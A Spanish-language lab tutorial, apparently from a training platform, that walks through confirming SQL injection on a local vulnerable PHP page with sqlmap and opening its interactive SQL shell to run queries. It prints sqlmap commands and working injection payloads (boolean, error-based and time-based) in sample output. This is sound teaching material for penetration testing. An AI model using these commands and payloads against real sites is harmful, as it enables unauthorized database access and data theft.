Usar el Shell SQL Interactivo en sqlmap

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, explorará una de las características más potentes de sqlmap: el shell SQL interactivo. sqlmap es una herramienta de pruebas de penetración de código abierto que automatiza el proceso de detección y explotación de fallos de inyección SQL y la toma de control de servidores de bases de datos.

Si bien sqlmap puede automatizar la extracción de datos, la opción --sql-shell le proporciona acceso directo e interactivo a la base de datos backend. Esto le permite ejecutar consultas SQL personalizadas, brindándole mayor flexibilidad y control durante una prueba de penetración. Aprenderá a establecer una inyección, lanzar el shell y ejecutar comandos para interrogar la base de datos.

Establecer una Inyección Exitosa en un Objetivo

En este paso, utilizará sqlmap para escanear una aplicación web y confirmar que es vulnerable a la inyección SQL. Nuestro script de configuración ya ha creado una aplicación PHP simple y vulnerable que se ejecuta en el servidor Apache local. Necesitamos apuntar sqlmap a la URL del objetivo y dejar que realice el análisis inicial.

Primero, ejecute el siguiente comando sqlmap en su terminal. Usamos la bandera -u para especificar la URL del objetivo y --batch para ejecutar en modo no interactivo, aceptando todas las respuestas predeterminadas.

sqlmap -u "http://127.0.0.1/index.php?id=1" --batch

sqlmap realizará una serie de pruebas. Espere a que complete. La salida mostrará que el parámetro GET id es vulnerable. Esta confirmación es el primer paso necesario antes de que podamos proceder a la explotación.

Debería ver una salida similar a esta, confirmando la vulnerabilidad:

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1421=1421

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'

Lanzar el Shell SQL Interactivo con --sql-shell

En este paso, utilizará la opción --sql-shell para obtener un prompt SQL interactivo en la base de datos objetivo. Ahora que ha confirmado el punto de inyección, puede indicar a sqlmap que le proporcione acceso directo.

Ejecute el mismo comando sqlmap que antes, pero esta vez, reemplace la opción --batch por --sql-shell.

sqlmap -u "http://127.0.0.1/index.php?id=1" --sql-shell

sqlmap volverá a confirmar la inyección y luego le presentará un prompt especial: sql-shell>. Esto indica que ahora se encuentra en una sesión interactiva con la base de datos backend. Cualquier consulta SQL válida para el DBMS objetivo (que sabemos que es MySQL) se puede ejecutar desde este prompt.

La salida se verá así:

[15:35:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:35:00] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Ejecutar una Consulta SQL Personalizada como SELECT @@version

En este paso, ejecutará su primer comando en el shell SQL interactivo. Esto demostrará su capacidad para consultar directamente la base de datos. Una consulta inicial común es verificar la versión de la base de datos.

En el prompt sql-shell>, escriba la siguiente consulta SQL y presione Enter. Recuerde incluir el punto y coma al final.

SELECT @@version;

sqlmap tomará su consulta, la inyectará en el parámetro vulnerable, la enviará al servidor y le devolverá el resultado. La variable @@version en MySQL devuelve una cadena que contiene la versión del servidor de la base de datos.

Verá la versión de la base de datos impresa directamente en su consola:

sql-shell> SELECT @@version;
[15:40:01] [INFO] fetching MySQL version
[15:40:01] [INFO] retrieved: 8.0.xx-0ubuntu0.22.04.x
8.0.xx-0ubuntu0.22.04.x

Ejecutar Otra Consulta Personalizada como SELECT user()

En este paso, ejecutará otra consulta para explorar aún más la base de datos. Esto refuerza el concepto de control interactivo. Averigüemos qué usuario de la base de datos está utilizando la aplicación web para conectarse a la base de datos.

En el prompt sql-shell>, escriba la consulta SELECT user() y presione Enter.

SELECT user();

Este comando solicita a la base de datos que devuelva el nombre de usuario y el host de la sesión actual. Esta es información valiosa para comprender el nivel de privilegios de su inyección.

La salida mostrará el usuario de la base de datos, que configuramos en el script de configuración:

sql-shell> SELECT user();
[15:42:10] [INFO] fetching current user
[15:42:10] [INFO] retrieved: labex@localhost
labex@localhost

Salir del Shell SQL Interactivo y Regresar a la Terminal

En este último paso, aprenderá cómo salir correctamente del shell SQL interactivo y regresar a su prompt de terminal estándar.

Para salir del sql-shell>, simplemente escriba exit o quit y presione Enter.

exit

sqlmap cerrará la sesión y lo devolverá al directorio ~/project en su terminal Zsh. Esto concluye la sesión interactiva con la base de datos.

La salida confirmará que la sesión está terminando:

sql-shell> exit
[15:45:00] [INFO] quitting
[15:45:00] [INFO] shutting down at 15:45:00

[*] shutting down...
labex@vnc-ubuntu:~/project$

Ahora ha utilizado con éxito el shell interactivo de sqlmap para ejecutar consultas personalizadas y ha regresado a su línea de comandos habitual.

Resumen

En este laboratorio, ha aprendido con éxito a utilizar una de las características más potentes de sqlmap, el shell SQL interactivo.

Comenzó identificando una vulnerabilidad de inyección SQL en una aplicación objetivo utilizando un escaneo básico de sqlmap. Luego, aprovechó esta vulnerabilidad iniciando una sesión interactiva con la bandera --sql-shell. Dentro de este shell, ejecutó consultas SQL personalizadas como SELECT @@version; y SELECT user(); para interrogar directamente la base de datos y recuperar información. Finalmente, aprendió a salir del shell y regresar a su terminal. Esta habilidad es esencial para cualquier probador de penetración que necesite un control detallado sobre una base de datos comprometida.